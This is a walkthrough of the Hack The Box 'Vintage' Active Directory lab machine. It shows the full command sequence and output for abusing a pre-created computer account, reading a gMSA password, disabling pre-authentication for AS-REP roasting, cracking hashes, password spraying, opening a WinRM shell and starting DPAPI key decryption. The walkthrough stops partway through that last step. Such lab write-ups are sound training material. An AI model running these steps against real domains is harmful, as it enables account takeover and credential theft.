HTB Vintage Walkthrough — gMSA, DPAPI, & RBCD Exploitation

HTB Vintage — Full Walkthrough & Writeup¶
Vintage is a hard-difficulty Windows Active Directory machine from Hack The Box. This walkthrough detailed the complete attack path, starting from initial domain enumeration using starting credentials, exploiting pre-created computer accounts via pre-Windows 2000 compatibility, abusing managed passwords to compromise a gMSA account, performing AS-REP roasting to crack service accounts, leveraging password reuse to pivot, extracting credentials from DPAPI, and executing Resource-Based Constrained Delegation (RBCD) to achieve domain compromise.
Machine Information¶
| Property | Value |
|---|---|
| OS | Windows Server 2019 |
| Difficulty | Hard |
| Domain | vintage.htb |
| DC Hostname | DC01 |
| IP Address | 10.129.91.223 |
| Starting Credentials | P.Rosa / Rosaisbest123 |
| Foothold Account | FS01$ / fs01 (Computer Object) |
Attack Chain Overview¶
The following diagram illustrates the complete attack path:
graph TD
A["P.Rosa<br/>(Starting Credentials)"] -->|LDAP Search| B["Enumerate FS01 Computer Object<br/>(userAccountControl: 4096)"]
B -->|Pre-Created Computer Password| C["FS01$ Foothold<br/>(fs01)"]
C -->|bloodyAD msDS-ManagedPassword| D["Extract GMSA01$ Credentials<br/>(gMSA hash)"]
D -->|Add GroupMember & Disable PreAuth| E["AS-REP Roasting via GMSA01$<br/>(svc_sql Hash)"]
E -->|John/Hashcat Cracking| F["svc_sql Credentials<br/>(Zer0the0ne)"]
F -->|Password Spray| G["C.Neri Foothold & DPAPI Abuse<br/>(Extract c.neri_adm / Uncr4ck4bl3P4ssW0rd0312)"]
G -->|RBCD & S4U2self/S4U2proxy| H["L.BIANCHI_ADM Kerberos Ticket<br/>(Impersonate Domain Admin)"]
H -->|WMIExec PTH/PTT| I["Domain Admin Command Shell<br/>(Full Domain Takeover)"]
style A fill:#2d5016,stroke:#4ade80,color:#fff
style C fill:#4a1d96,stroke:#a78bfa,color:#fff
style I fill:#7f1d1d,stroke:#ef4444,color:#fff
Reconnaissance¶
Port scanning¶
I'll start by running an Nmap service and version scan with the default scripts. This will help identify any open ports and provide information about the services running on them, giving us valuable targets for further exploration.
Save Nmap Outputs
Always save the Nmap output in a text file for future reference. This practice is invaluable, as repeatedly running Nmap can be time-consuming and unnecessary.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ nmap -sC -sV -p- -Pn --min-rate 10000 -oA nmap_report 10.129.91.223
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-04 14:44 IST
Nmap scan report for 10.129.91.223
Host is up (0.24s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-04 09:14:53Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49683/tcp open msrpc Microsoft Windows RPC
50220/tcp open msrpc Microsoft Windows RPC
58007/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-12-04T09:15:46
|_ start_date: N/A
|_clock-skew: -3s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.46 seconds
Nmap scan results, we can confidently conclude that the target is a Domain Controller. This is evident from the presence of port 88/tcp, which is commonly associated with Kerberos authentication. Kerberos is a network authentication protocol used extensively in Active Directory environments, and its use of port 88 is a strong indicator that the system in question is indeed a Domain Controller.
In addition to Kerberos, the scan may reveal other services typically found on Domain Controllers, such as LDAP (port 389/tcp), SMB (port 445/tcp), or DNS (port 53/tcp). These services collectively suggest a Windows-based environment, often pointing to the target being part of an Active Directory infrastructure.
SMB Enumeration¶
With the credentials provided, we will now attempt to enumerate any interesting SMB shares on the target system using the netexec tool.
To accomplish this, we can utilize the netexec tool, or we could alternatively use tools like smbclient or enum4linux to list available shares and check their access permissions. The goal is to identify any shares that are misconfigured or contain sensitive files.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec smb 10.129.91.223 -u P.Rosa -p 'Rosaisbest123' --shares
SMB 10.129.91.223 445 10.129.91.223 [*] x64 (name:10.129.91.223) (domain:10.129.91.223) (signing:True) (SMBv1:False)
SMB 10.129.91.223 445 10.129.91.223 [-] 10.129.91.223\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
Interestingly, the provided credentials did not work, and we received a STATUS_NOT_SUPPORTED message. This could indicate that the authentication method that we used in netexec command is not supported or the credentials are incorrect for the specific service we are trying to access.
To verify the validity of the credentials, we will now attempt LDAP. LDAP is commonly used for accessing and managing directory information services, including user authentication and group memberships in Active Directory environments. If the credentials are valid, we should be able to query the LDAP service and obtain relevant information, such as user details or group memberships, which will help us confirm the accuracy of the credentials.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap 10.129.91.223 -u P.Rosa -p 'Rosaisbest123'
LDAP 10.129.91.223 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP 10.129.91.223 389 dc01.vintage.htb [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
Unfortunately, the LDAP attempt did not work either. However, this does not necessarily imply that the credentials are incorrect. It's more likely that the target server is hardened and does not support certain authentication methods, which is a common security measure in well-secured environments.
To proceed, we will retry the authentication attempt, but this time using Kerberos as the authentication method.
To use Kerberos authentication, we simply need to add the -k flag to our command. Additionally, we must ensure that our local hosts file (/etc/hosts) is properly updated to resolve the domain names vintage.htb and dc01.vintage.htb to the target's IP address. This is critical because Kerberos authentication relies on DNS resolution, and improper mappings could lead to authentication failures.
krb5.conf needs to be updated like below:
[libdefaults]
default_realm = VINTAGE.HTB
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
VINTAGE.HTB = {
kdc = DC01.VINTAGE.HTB:88
admin_server = DC01.VINTAGE.HTB
master_kdc = DC01.VINTAGE.HTB
default_domain = VINTAGE.HTB
}
[domain_realm]
.VINTAGE.HTB = VINTAGE.HTB
VINTAGE.HTB = VINTAGE.HTB
Interestingly, both SMB and LDAP are working now. This suggests that the initial failures with these protocols were likely due to server configurations or specific authentication methods not being supported earlier.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec smb dc01.vintage.htb -k -u 'P.Rosa' -p 'Rosaisbest123'
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\P.Rosa:Rosaisbest123
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -k -u 'P.Rosa' -p 'Rosaisbest123'
LDAP dc01.vintage.htb 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP dc01.vintage.htb 389 dc01.vintage.htb [+] vintage.htb\P.Rosa:Rosaisbest123
Next, we will use netexec once again to enumerate the users within the domain.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -k -u 'P.Rosa' -p 'Rosaisbest123' --users |awk {'print $5'}
[*]
[+]
[*]
-Username-
Administrator
Guest
krbtgt
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm
Password Spray¶
We now have a list of all the users in the domain, which we can save to a text file.
We will attempt a password spray using p.rosa's password across all user accounts. It’s possible that the same password might be used across multiple accounts in the domain.
Result: The password for p.rosa is not reused across any other accounts.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -k -u usernames.txt -p 'Rosaisbest123' --continue-on-success
LDAP dc01.vintage.htb 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\M.Rossi:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\R.Verdi:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\L.Bianchi:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\G.Viola:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\C.Neri:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [+] vintage.htb\P.Rosa:Rosaisbest123
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\svc_sql:Rosaisbest123 KDC_ERR_CLIENT_REVOKED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\svc_ldap:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\svc_ark:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\C.Neri_adm:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\L.Bianchi_adm:Rosaisbest123 KDC_ERR_PREAUTH_FAILED
Bloodhound¶
At this point, it's time to run our favorite tool: BloodHound, to gather more information and identify potential attack paths within the environment. BloodHound is an effective tool for mapping Active Directory (AD) relationships and permissions, which helps in identifying privilege escalation opportunities, attack paths, and misconfigurations.
By analyzing the data collected from the domain, we can gain valuable insights into user and group memberships, administrative privileges, and other vulnerabilities that may be exploited for further access within the network.
nd AD domain: vintage.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 16 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FS01.vintage.htb
INFO: Querying computer: dc01.vintage.htb
WARNING: Could not resolve: FS01.vintage.htb: The resolution lifetime expired after 3.103 seconds: Server Do53:10.129.91.223@53 answered The DNS operation timed out.
INFO: Done in 00M 21S
INFO: Compressing output into 20241205105648_bloodhound.zip
BloodHound Analysis¶
- C.NERI is a member of the SERVICEMANAGERS group, which has
GenericAll(Full Control) permissions over the following 3 accounts:SVC_ARKSVC_LDAPSVC_SQL

- C.NERI is also a member of the REMOTE MANAGEMENT USERS security group. This grants her account the ability to perform PowerShell remoting on the target system, making C.NERI a high-value target for further exploitation.

-
There is a gMSA account named
GMSA01$that holdsGenericAllpermissions on the SERVICEMANAGERS security group. -
The Domain Computers group has
ReadGMSAPasswordpermissions on theGMSA01$account. This could allow us to extract the password for this gMSA account. -
There is only one computer object,
FS01, in the Domain Computers group.

FS01is also a member of the PRE-WINDOWS 2000 COMPATIBLE ACCESS security group. This is an interesting finding, as it could indicate legacy configurations or specific permissions that could be leveraged for further attacks.

Foothold¶
Pre-Windows 2000 Computers¶
Since there is only one computer account, FS01, in the environment apart from the Domain Controller, we will focus on gathering more details about this computer. It holds the rights to read the gMSA password for the only gMSA account in the domain, GMSA01$.
Specifically, I will check whether the userAccountControl attribute for FS01 is set to 4096. If it is, this indicates that the password for this computer account is the same as the hostname but in all lowercase letters. In this case, the password would be fs01.
Pre-Windows 2000 Computer Accounts
More details about Pre-Windows 2000 accounts and their significance can be found in this article: Diving into Pre-Created Computer Accounts
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ ldapsearch -H 'ldap://dc01.vintage.htb' -x -b 'dc=vintage,dc=htb' -D 'CN=P.ROSA,CN=USERS,DC=VINTAGE,DC=HTB' -w 'Rosaisbest123' '(&(objectClass=computer)(userAccountControl=4096))' dNSHostName userAccountControl
# extended LDIF
#
# LDAPv3
# base <dc=vintage,dc=htb> with scope subtree
# filter: (&(objectClass=computer)(userAccountControl=4096))
# requesting: dNSHostName userAccountControl
#
# gMSA01, Managed Service Accounts, vintage.htb
dn: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
userAccountControl: 4096
dNSHostName: gmsa01.vintage.htb
# fs01, Computers, vintage.htb
dn: CN=fs01,CN=Computers,DC=vintage,DC=htb
userAccountControl: 4096
dNSHostName: FS01.vintage.htb
# search reference
ref: ldap://ForestDnsZones.vintage.htb/DC=ForestDnsZones,DC=vintage,DC=htb
# search reference
ref: ldap://DomainDnsZones.vintage.htb/DC=DomainDnsZones,DC=vintage,DC=htb
# search reference
ref: ldap://vintage.htb/CN=Configuration,DC=vintage,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 6
# numEntries: 2
# numReferences: 3
For the FS01$ account, we will attempt the password fs01, as this is the default password convention when the userAccountControl attribute is set to 4096. This value indicates that the password for this account is the same as the hostname in lowercase.
Using netexec once again, we can confirm that the password for the FS01$ computer account is fs01. This aligns with the default password convention, as we suspected, based on the userAccountControl attribute being set to 4096.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -k -u 'fS01$' -p 'fs01'
LDAP dc01.vintage.htb 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP dc01.vintage.htb 389 dc01.vintage.htb [+] vintage.htb\fS01$:fs01
Dumping the gMSA hashes¶
To begin, we will first obtain the Ticket Granting Ticket (TGT) for the FS01$ account using impacket-getTGT.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/'fs01$':'fs01' -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in fs01$.ccache
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=fs01\$.ccache
Next, we need to validate if the Kerberos cache is functioning correctly. To do this, we can use netexec.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb --use-kcache
LDAP dc01.vintage.htb 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP dc01.vintage.htb 389 dc01.vintage.htb [+] vintage.htb\FS01$ from ccache
Next, using bloodyAD, we will retrieve the password for the GMSA01$ account. The password is stored in the msDS-ManagedPassword attribute of the account.
──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'fs01$' -k --dc-ip 10.129.91.223 get object 'GMSA01$' --attr msDS-ManagedPassword
distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53
msDS-ManagedPassword.B64ENCODED: rbqGzqVFdvxykdQOfIBbURV60BZIq0uuTGQhrt7I1TyP2RA/oEHtUj9GrQGAFahc5XjLHb9RimLD5YXWsF5OiNgZ5SeBM+WrdQIkQPsnm/wZa/GKMx+m6zYXNknGo8teRnCxCinuh22f0Hi6pwpoycKKBWtXin4n8WQXF7gDyGG6l23O9mrmJCFNlGyQ2+75Z1C6DD0jp29nn6WoDq3nhWhv9BdZRkQ7nOkxDU0bFOOKYnSXWMM7SkaXA9S3TQPz86bV9BwYmB/6EfGJd2eHp5wijyIFG4/A+n7iHBfVFcZDN3LhvTKcnnBy5nihhtrMsYh2UMSSN9KEAVQBOAw12g==
Now, let's obtain the Ticket Granting Ticket (TGT) for the GMSA01$ account. By doing so, we can authenticate and interact with the target system, leveraging the gMSA's credentials for further exploitation or enumeration.
──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/'gMSA01$' -hashes aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53 -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in gMSA01$.ccache
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=gMSA01\$.ccache
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ echo $KRB5CCNAME
gMSA01$.ccache
Lateral Movement & Privilege Escalation¶
Next, using bloodyAD, we will add the GMSA01$ account to the SERVICEMANAGERS security group. By doing this, we will gain full control over the service accounts, as members of the SERVICEMANAGERS group have full control over these accounts.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k --dc-ip 10.129.91.223 add groupMember servicemanagers 'gmsa01$'
[+] gmsa01$ added to servicemanagers
AS-REP Roasting¶
Next, we will disable Kerberos pre-authentication for the service accounts where the gMSA account has GenericAll permissions. Disabling pre-authentication will allow us to get their password hashes using AS-REP Roasting.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k --dc-ip 10.129.91.223 add uac SVC_ARK -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_ARK's userAccountControl
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k --dc-ip 10.129.91.223 add uac SVC_SQL -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_SQL's userAccountControl
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k --dc-ip 10.129.91.223 add uac SVC_LDAP -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_LDAP's userAccountControl
Using netexec, we can perform AS-REP Roasting. This technique involves requesting service tickets for accounts that do not require Kerberos pre-authentication.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -u usernames.txt -p '' --asreproast output.txt
LDAP 10.129.91.223 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP 10.129.91.223 389 dc01.vintage.htb $krb5asrep$23$svc_ldap@VINTAGE.HTB:78df33c5c43fb1bc30cfcf12a1e678ca$14945cb9d5f26692250973741699201894f0f7f0cfff672e40b72e1a3c6c8cc9bc515aee37fc741fde4239e23452896bfca8fac54137d381f10d1afdeee6c120794d0fb7082946cdfcf10ce46e81b4b2aeb1ccbe6b2edd2ba5b90fbb01f4e13ebea4267f40441b755fa5caba90bb697a902a106241abc15f8adadabfb464232ea037d7c1035f4042bb47adff4e465e7e6d93a44e1f3794d3d3b774b5dd71e0cfa4214ba96d4c042c878fd7f5a139e5b8fe56a436c6df4d735199142678d1d2cb9894a2eca1d38338ab69f45e315f6abc4074e3d54dde6d867d43f150a200a8e1acfc53f6455108a6ae26
LDAP 10.129.91.223 389 dc01.vintage.htb $krb5asrep$23$svc_ark@VINTAGE.HTB:69a7cedf22cf6c4eab848aa08d897ba8$541fda70d6b87017727a29419b92e19c76b252a863ecc2dfe6bcbcaa64c6df432f792bcafa982ca3d3509ab4808d516e7e2606c56dfbce739fa35d602cc6e388bfa5c4026afa449217b15fd7e90388c3967b0c29de3333212624fbdd9d9234e95edb759eb2ab124d198f6c0c4f47c799d5d1273e847c9b193a72b7218340922d5e65923323befccf324f12d1ee8eccd3be0d67ad4cc732f1a5a2ca00d4da36f0b1cf47cb94c3db550238453c34119c4a586cd23ac783948cafec06912bf5a986d25ecefc41100963ee1a65511f19dee9b10f7a67a6412c3abaecf5f82b20c0993b34242649f6f5ac45f5
We successfully obtained the hashes for SVC_LDAP and SVC_ARK, but the Kerberos pre-authentication was disabled for three accounts. But the hashes for SVC_SQL are missing. This suggests that the SVC_SQL account is most likely disabled. However, since we have GenericAll permissions over this account, we can enable it and proceed with obtaining its hashes.
odo㉿kali)-[~/hack-the-box/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d vintage.htb -u 'gmsa01$' -k --dc-ip 10.129.91.223 remove uac svc_sql -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from svc_sql's userAccountControl
Now, we have obtained the hashes for all three accounts: SVC_LDAP, SVC_ARK, and SVC_SQL. With these hashes, we can proceed to crack them offline.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -u usernames.txt -p '' --asreproast output.txt
LDAP 10.129.91.223 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP 10.129.91.223 389 dc01.vintage.htb $krb5asrep$23$svc_sql@VINTAGE.HTB:8954162d6455c5865c572fa2ed4f2d46$cb5bd0ac2e7723c9fab2a228f2a8ed0ea68c87a7a188f15c14a2924a6ee2309bd8f12c7346c21cce8ad768ee8b15d58ed80cb38d4d9180195bfdad0cf5b043721c535d0f0ac23bcaed8f8cccf4ed62d583da4d6ad5e41d478ae761f811430d306c76166851b1d9c43ec06aaa36bf2cd893cfd1db73444eaa652c86ba03bd6e3dd668e89bd10d5416b652f53fbbacd57f55630350fa76f0b50f11ee39dde3459ec03867279dc050c45442bfd3e30738b3c6ce55133b4905d4d6b2acd1d469b8d221e2260156a088deebc2bc3ae0f2db96b6fc7c7b45a0166a299c3fd24ab1f9e9658ba2d5d67b849fe1ec
LDAP 10.129.91.223 389 dc01.vintage.htb $krb5asrep$23$svc_ldap@VINTAGE.HTB:78df33c5c43fb1bc30cfcf12a1e678ca$14945cb9d5f26692250973741699201894f0f7f0cfff672e40b72e1a3c6c8cc9bc515aee37fc741fde4239e23452896bfca8fac54137d381f10d1afdeee6c120794d0fb7082946cdfcf10ce46e81b4b2aeb1ccbe6b2edd2ba5b90fbb01f4e13ebea4267f40441b755fa5caba90bb697a902a106241abc15f8adadabfb464232ea037d7c1035f4042bb47adff4e465e7e6d93a44e1f3794d3d3b774b5dd71e0cfa4214ba96d4c042c878fd7f5a139e5b8fe56a436c6df4d735199142678d1d2cb9894a2eca1d38338ab69f45e315f6abc4074e3d54dde6d867d43f150a200a8e1acfc53f6455108a6ae26
LDAP 10.129.91.223 389 dc01.vintage.htb $krb5asrep$23$svc_ark@VINTAGE.HTB:69a7cedf22cf6c4eab848aa08d897ba8$541fda70d6b87017727a29419b92e19c76b252a863ecc2dfe6bcbcaa64c6df432f792bcafa982ca3d3509ab4808d516e7e2606c56dfbce739fa35d602cc6e388bfa5c4026afa449217b15fd7e90388c3967b0c29de3333212624fbdd9d9234e95edb759eb2ab124d198f6c0c4f47c799d5d1273e847c9b193a72b7218340922d5e65923323befccf324f12d1ee8eccd3be0d67ad4cc732f1a5a2ca00d4da36f0b1cf47cb94c3db550238453c34119c4a586cd23ac783948cafec06912bf5a986d25ecefc41100963ee1a65511f19dee9b10f7a67a6412c3abaecf5f82b20c0993b34242649f6f5ac45f5
Password Cracking¶
Using John the Ripper (john), we were able to successfully crack the password for the SVC_SQL account.
svc_sql:'Zer0the0ne'
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ john output.txt -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Zer0the0ne ($krb5asrep$23$svc_sql@VINTAGE.HTB)
1g 0:00:01:33 DONE (2024-12-05 14:42) 0.01067g/s 153081p/s 623408c/s 623408C/s 0841079575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Password Spraying¶
Since SVC_SQL is a service account, it is possible that the same password has been reused across other accounts—a common mistake made by administrators.
By performing a password spraying attack, we discovered that C.Neri is using the same password. This provides us with an additional credential to escalate our privileges and move laterally within the environment.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ netexec ldap dc01.vintage.htb -k -u usernames.txt -p 'Zer0the0ne' --continue-on-success
LDAP dc01.vintage.htb 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\M.Rossi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\R.Verdi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\L.Bianchi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\G.Viola:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [+] vintage.htb\C.Neri:Zer0the0ne
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\P.Rosa:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\svc_sql:Zer0the0ne KDC_ERR_CLIENT_REVOKED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [+] vintage.htb\svc_ldap account vulnerable to asreproast attack
LDAP dc01.vintage.htb 389 dc01.vintage.htb [+] vintage.htb\svc_ark account vulnerable to asreproast attack
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\C.Neri_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] vintage.htb\L.Bianchi_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED
Gaining the shell¶
Referring to the BloodHound graphs, we know that C.Neri has the necessary permissions to perform PowerShell remoting on the target system. To leverage this, we can use evil-winrm.
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-getTGT vintage.htb/c.neri:'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.neri.ccache
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ export KRB5CCNAME=c.neri.ccache
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ evil-winrm -i dc01.vintage.htb -r VINTAGE.HTB
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\C.Neri\Desktop> ls
Directory: C:\Users\C.Neri\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/7/2024 1:17 PM 2312 Microsoft Edge.lnk
-ar--- 12/5/2024 6:59 AM 34 user.txt
*Evil-WinRM* PS C:\Users\C.Neri\Desktop> cat user.txt
3fd3d51b4f1733a6f14ab2f13c0a9f10
*Evil-WinRM* PS C:\Users\C.Neri\Desktop>
User Flag
User flag is located at C:\Users\C.Neri\Desktop\user.txt.
Lateral Movement & Privilege Escalation - 2¶
Abusing DPAPI¶
What is DPAPI?
DPAPI (Data Protection API) is a Windows feature that provides a set of cryptographic services used for securing sensitive data on a local system. It allows applications to encrypt and decrypt data, such as passwords or cryptographic keys, without requiring explicit management of encryption keys. DPAPI automatically handles the encryption and decryption using system or user-specific keys.
Key Points about DPAPI: - Local Encryption: DPAPI encrypts data using keys tied to either the system (machine-level) or the user (user-level) account. This means that only the specific user or the system itself can decrypt the data. - Used for Secure Storage: It’s commonly used by applications to securely store sensitive data such as passwords, credentials, and private keys. - DPAPI and Cache: When a user logs in, Windows may cache certain credentials in DPAPI. If attackers gain access to the system, they may be able to extract these credentials from the DPAPI cache.
We are going to use impacket-dpapi to abuse DPAPI.
Copy the following master keys-
$env:appdata\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
$env:appdata\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Credentials file
Decrypt the master keys
┌──(frodo㉿kali)-[~/hack-the-box/vintage]
└─$ impacket-dpapi masterkey -file 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847 -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
